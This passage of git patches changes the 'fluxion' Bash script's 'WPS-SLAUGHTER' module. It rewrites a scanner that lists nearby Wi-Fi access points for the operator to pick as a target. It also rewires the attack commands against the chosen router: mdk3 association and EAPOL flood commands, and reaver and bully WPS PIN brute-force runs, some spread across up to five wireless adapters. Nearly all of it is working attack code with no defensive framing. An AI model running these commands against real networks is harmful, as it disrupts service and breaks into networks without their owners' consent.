deletion(-) diff --git a/fluxion b/fluxion index 4046bf9..9386156 100755 --- a/fluxion +++ b/fluxion @@ -911,7 +911,7 @@ Unknown option. Choose again"; conditional_clear ;; esac done - +} function wifi-phisher { mostrarheader conditional_clear From fc27d541c083377450c938dc457135d5222ab274 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Mon, 21 Mar 2016 15:14:12 -0700 Subject: [PATCH 101/294] Fix WPS-SLAUGHTER Target Scanner --- fluxion | 294 +++++++++++++++++++++++--------------------------------- 1 file changed, 120 insertions(+), 174 deletions(-) diff --git a/fluxion b/fluxion index 6c21fb6..694e763 100755 --- a/fluxion +++ b/fluxion @@ -839,6 +839,75 @@ function selection { askAP } +function wpsselection { + + conditional_clear + + + LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` + + if [ $LINEAS_WIFIS_CSV -le 3 ]; then + deltax && break + fi + + linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` + linap=`expr $linap - 1` + head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv + tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv + echo " WIFI LIST " + echo "" + echo " # MAC CHAN SECU PWR ESSID" + echo "" + i=0 + + while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do + longueur=${#MAC} + PRIVACY=$(echo $PRIVACY| tr -d "^ ") + PRIVACY=${PRIVACY:0:4} + if [ $longueur -ge 17 ]; then + i=$(($i+1)) + POWER=`expr $POWER + 100` + CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` + + if [ "$CLIENTE" != "" ]; then + CLIENTE="*" + fi + + echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" + aidlenght=$IDLENGTH + assid[$i]=$ESSID + achannel[$i]=$CHANNEL + amac[$i]=$MAC + aprivacy[$i]=$PRIVACY + aspeed[$i]=$SPEED + fi + done < $DUMP_PATH/dump-02.csv + echo + echo -e ""$green "("$white"*"$green ")Active clients"$transparent"" + echo "" + echo " Select Target " + echo -n " #> " + read choice + idlenght=${aidlenght[$choice]} + ssid=${assid[$choice]} + channel=$(echo ${achannel[$choice]}|tr -d [:space:]) + mac=${amac[$choice]} + privacy=${aprivacy[$choice]} + speed=${aspeed[$choice]} + Host_IDL=$idlength + Host_SPEED=$speed + Host_ENC=$privacy + Host_MAC=$mac + Host_CHAN=$channel + acouper=${#ssid} + fin=$(($acouper-idlength)) + Host_SSID=${ssid:1:fin} + + conditional_clear + + +} + # FakeAP function askAP { @@ -926,9 +995,6 @@ python wifite.py function wps { clear -declare BSSID; -declare ESSID; -declare CHANNEL; declare WIFI_MONITOR1; declare WIFI_MONITOR2; declare WIFI_MONITOR3; @@ -1076,127 +1142,7 @@ echo "MAC Changed" scan_for_targets() { - -ifconfig $WIFI_MONITOR1 down -iwconfig $WIFI_MONITOR1 mode managed -ifconfig $WIFI_MONITOR1 up - -eval $(iwlist $WIFI_MONITOR1 scan | awk '/Address|ESSID|Channel:/' | sed 's/"//g' | sed 's/ Cell 01 - Address: /BSSID1=/g' | sed 's/ Cell 02 - Address: /BSSID2=/g' | sed 's/ Cell 03 - Address: /BSSID3=/g' | sed 's/ Cell 04 - Address: /BSSID4=/g' | sed 's/ Cell 05 - Address: /BSSID5=/g' | sed 's/ Cell 06 - Address: /BSSID6=/g' | sed 's/ Cell 07 - Address: /BSSID7=/g' | sed 's/ Cell 08 - Address: /BSSID8=/g' | sed 's/ Cell 09 - Address: /BSSID9=/g' | sed 's/ Cell 10 - Address: /BSSID10=/g' | sed 's/ Cell 11 - Address: /BSSID11=/g' | sed 's/ Cell 12 - Address: /BSSID12=/g' | sed 's/ Cell 13 - Address: /BSSID13=/g' | sed 's/ Cell 14 - Address: /BSSID14=/g' | sed 's/ Cell 15 - Address: /BSSID15=/g' | sed 's/ Cell 16 - Address: /BSSID16=/g' | sed 's/ Cell 17 - Address: /BSSID17=/g' | sed 's/ Cell 18 - Address: /BSSID18=/g' | sed 's/ Cell 19 - Address: /BSSID19=/g' | sed 's/ Cell 20 - Address: /BSSID20=/g' | sed '2s/ Channel:/CHANNEL1=/g' | sed '5s/ Channel:/CHANNEL2=/g' | sed '8s/ Channel:/CHANNEL3=/g' | sed '11s/ Channel:/CHANNEL4=/g' | sed '14s/ Channel:/CHANNEL5=/g' | sed '17s/ Channel:/CHANNEL6=/g' | sed '20s/ Channel:/CHANNEL7=/g' | sed '23s/ Channel:/CHANNEL8=/g' | sed '26s/ Channel:/CHANNEL9=/g' | sed '29s/ Channel:/CHANNEL10=/g' | sed '32s/ Channel:/CHANNEL11=/g' |sed '35s/ Channel:/CHANNEL12=/g' | sed '38s/ Channel:/CHANNEL13=/g' | sed '41s/ Channel:/CHANNEL14=/g' | sed '44s/ Channel:/CHANNEL15=/g' | sed '47s/ Channel:/CHANNEL16=/g' | sed '50s/ Channel:/CHANNEL17=/g' | sed '53s/ Channel:/CHANNEL18=/g' | sed '56s/ Channel:/CHANNEL19=/g' | sed '59s/ Channel:/CHANNEL20=/g' | sed '3s/ ESSID:/ESSID1=/g' | sed '6s/ ESSID:/ESSID2=/g' | sed '9s/ ESSID:/ESSID3=/g' | sed '12s/ ESSID:/ESSID4=/g' | sed '15s/ ESSID:/ESSID5=/g' | sed '18s/ ESSID:/ESSID6=/g' | sed '21s/ ESSID:/ESSID7=/g' | sed '24s/ ESSID:/ESSID8=/g' | sed '27s/ ESSID:/ESSID9=/g' | sed '30s/ ESSID:/ESSID10=/g' | sed '33s/ ESSID:/ESSID11=/g' | sed '36s/ ESSID:/ESSID12=/g' | sed '39s/ ESSID:/ESSID13=/g' | sed '42s/ ESSID:/ESSID14=/g' | sed '45s/ ESSID:/ESSID15=/g' | sed '48s/ ESSID:/ESSID16=/g' | sed '51s/ ESSID:/ESSID17=/g' | sed '54s/ ESSID:/ESSID18=/g' | sed '57s/ ESSID:/ESSID19=/g' | sed '60s/ ESSID:/ESSID20=/g') - -wps-wifi-monitor - -read a -case $a in - - 0) -clear -scan_for_targets -;; - 1) -BSSID=$BSSID1 -ESSID=$ESSID1 -CHANNEL=$CHANNEL1 -;; - 2) -BSSID=$BSSID2 -ESSID=$ESSID2 -CHANNEL=$CHANNEL2 -;; - 3) -BSSID=$BSSID3 -ESSID=$ESSID3 -CHANNEL=$CHANNEL3 -;; - 4) -BSSID=$BSSID4 -ESSID=$ESSID4 -CHANNEL=$CHANNEL4 -;; - 5) -BSSID=$BSSID5 -ESSID=$ESSID5 -CHANNEL=$CHANNEL5 -;; - 6) -BSSID=$BSSID6 -ESSID=$ESSID6 -CHANNEL=$CHANNEL6 -;; - 7) -BSSID=$BSSID7 -ESSID=$ESSID7 -CHANNEL=$CHANNEL7 -;; - 8) -BSSID=$BSSID8 -ESSID=$ESSID8 -CHANNEL=$CHANNEL8 -;; - 9) -BSSID=$BSSID9 -ESSID=$ESSID9 -CHANNEL=$CHANNEL9 -;; - 10) -BSSID=$BSSID10 -ESSID=$ESSID10 -CHANNEL=$CHANNEL10 -;; - 11) -BSSID=$BSSID11 -ESSID=$ESSID11 -CHANNEL=$CHANNEL11 -;; - 12) -BSSID=$BSSID12 -ESSID=$ESSID12 -CHANNEL=$CHANNEL12 -;; - 13) -BSSID=$BSSID13 -ESSID=$ESSID13 -CHANNEL=$CHANNEL13 -;; - 14) -BSSID=$BSSID14 -ESSID=$ESSID14 -CHANNEL=$CHANNEL14 -;; - 15) -BSSID=$BSSID15 -ESSID=$ESSID15 -CHANNEL=$CHANNEL15 -;; - 16) -BSSID=$BSSID16 -ESSID=$ESSID16 -CHANNEL=$CHANNEL16 -;; - 17) -BSSID=$BSSID17 -ESSID=$ESSID17 -CHANNEL=$CHANNEL17 -;; - 18) -BSSID=$BSSID18 -ESSID=$ESSID18 -CHANNEL=$CHANNEL18 -;; - 19) -BSSID=$BSSID19 -ESSID=$ESSID19 -CHANNEL=$CHANNEL19 -;; - 20) -BSSID=$BSSID20 -ESSID=$ESSID20 -CHANNEL=$CHANNEL20 -;; - *) -Invalid Option -;; -esac - +wpsselection } ####End of Target Scanner#### @@ -1205,52 +1151,52 @@ esac run_mdk3_ASOC1() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m" } run_mdk3_EAPOL1() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC2() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m" } run_mdk3_EAPOL2() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC3() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m" } run_mdk3_EAPOL3() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC4() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m" } run_mdk3_EAPOL4() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250" } run_mdk3_ASOC5() { - xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m" + xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m" } run_mdk3_EAPOL5() { - xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250" + xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250" } ##################################End Of Functions For MDK3 ######################################## @@ -1333,17 +1279,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1353,7 +1299,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1367,7 +1313,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1381,12 +1327,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1400,7 +1346,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1490,17 +1436,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1510,7 +1456,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1524,7 +1470,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1538,12 +1484,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1557,7 +1503,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1656,17 +1602,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1676,7 +1622,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1690,7 +1636,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1704,12 +1650,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1723,7 +1669,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1827,17 +1773,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -1847,7 +1793,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1861,7 +1807,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -1875,12 +1821,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -1894,7 +1840,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -2003,17 +1949,17 @@ menu ;; 1) clear -timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $BSSID -n $ESSID -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $BSSID -n $ESSID -s 250 +timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR3 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR4 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR5 x 0 -t $mac -n $ssid -s 250 menu ;; 2) clear -timeout 60 mdk3 $WIFI_MONITOR1 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $BSSID -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $BSSID -m +timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR4 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR5 a -a $mac -m menu ;; 3) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv menu ;; 4) @@ -2023,7 +1969,7 @@ menu ;; 5) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -2037,7 +1983,7 @@ menu ;; 6) clear -reaver -i $WIFI_MONITOR1 -b $BSSID -c $CHANNEL -vv | tee ReaverOutput.txt & +reaver -i $WIFI_MONITOR1 -b $mac -c $channel -vv | tee ReaverOutput.txt & reaver_pid=$! while kill -0 $reaver_pid ; do @@ -2051,12 +1997,12 @@ menu ;; 7) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 +bully -b $mac -c $channel $WIFI_MONITOR1 menu ;; 8) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do @@ -2070,7 +2016,7 @@ menu ;; 9) clear -bully -b $BSSID -c $CHANNEL $WIFI_MONITOR1 | tee BullyOutput.txt & +bully -b $mac -c $channel $WIFI_MONITOR1 | tee BullyOutput.txt & bully_pid=$! while kill -0 $bully_pid ; do From cedb1bdb8f25d88dbb582c266137d56763783aa8 Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Mon, 21 Mar 2016 15:22:23 -0700 Subject: [PATCH 102/294] Fix WPS-SLAUGHTER Target Scanner --- fluxion | 13 ------------- 1 file changed, 13 deletions(-) diff --git a/fluxion b/fluxion index 694e763..f32d079 100755 --- a/fluxion +++ b/fluxion @@ -1217,10 +1217,6 @@ clear echo read -p " - What is the name of your Wlan Adapter (Ex:Wlan0) - ": WIFI_MONITOR1; -clear - -scan_for_targets - clear @@ -1375,9 +1371,6 @@ read -p " - What is the name of your 1st Wlan Adapter (Ex:Wlan0) - ": WIFI_MONIT clear echo read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": WIFI_MONITOR2; -clear - -scan_for_targets clear @@ -1535,9 +1528,7 @@ read -p " - What is the name of your 2nd Wlan Adapter (Ex:Wlan1) - ": WIFI_MONIT clear echo read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": WIFI_MONITOR3; -clear -scan_for_targets clear @@ -1703,9 +1694,7 @@ read -p " - What is the name of your 3rd Wlan Adapter (Ex:Wlan2) - ": WIFI_MONIT clear echo read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": WIFI_MONITOR4; -clear -scan_for_targets clear @@ -1877,9 +1866,7 @@ read -p " - What is the name of your 4th Wlan Adapter (Ex:Wlan3) - ": WIFI_MONIT clear echo read -p " - What is the name of your 5th Wlan Adapter (Ex:Wlan4) - ": WIFI_MONITOR5; -clear -scan_for_targets clear From dfc0bcc0e14718df6b0ef17b4578a3d9089f79db Mon Sep 17 00:00:00 2001 From: Apathetic Euphoria Date: Mon, 21 Mar 2016 16:46:47 -0700 Subject: [PATCH 103/294] WPS-SLAUGHTER Improvements/Begin Style Change. Target Scanner Fixed* Made it take down all other Adapters until needed for flooding(Saves Energy and NIC lifespan) Began to do some Style Changes to the WPS-SLAUGHTER menus. Created a function for the attack menu(so its not repeated so many times) --- fluxion | 196 ++++++++++++++++++++++++++++++++++++-------------------- 1 file changed, 127 insertions(+), 69 deletions(-) diff --git a/fluxion b/fluxion index f32d079..13335c0 100755 --- a/fluxion +++ b/fluxion @@ -1,5 +1,7 @@ #!/bin/bash +rfkill unblock all + ########## DEBUG Mode ########## ## ## FLUX_DEBUG=0 @@ -1161,47 +1163,162 @@ run_mdk3_EAPOL1() run_mdk3_ASOC2() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 } run_mdk3_EAPOL2() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 xterm -e "timeout 20s mdk3 $WIFI_MONITOR1 x 0 -t $mac -n $ssid -s 250 & timeout 20s mdk3 $WIFI_MONITOR2 x 0 -t $mac -n $ssid -s 250" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 } run_mdk3_ASOC3() { +sleep 1 +ifconfig $WIFI_MONITOR2 up +sleep 1 +ifconfig $WIFI_MONITOR3 up +sleep 1 xterm -e "timeout 60 mdk3 $WIFI_MONITOR1 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR2 a -a $mac -m & timeout 60 mdk3 $WIFI_MONITOR3 a -a $mac -m" +sleep 1 +ifconfig $WIFI_MONITOR2 down +sleep 1 +ifconfig 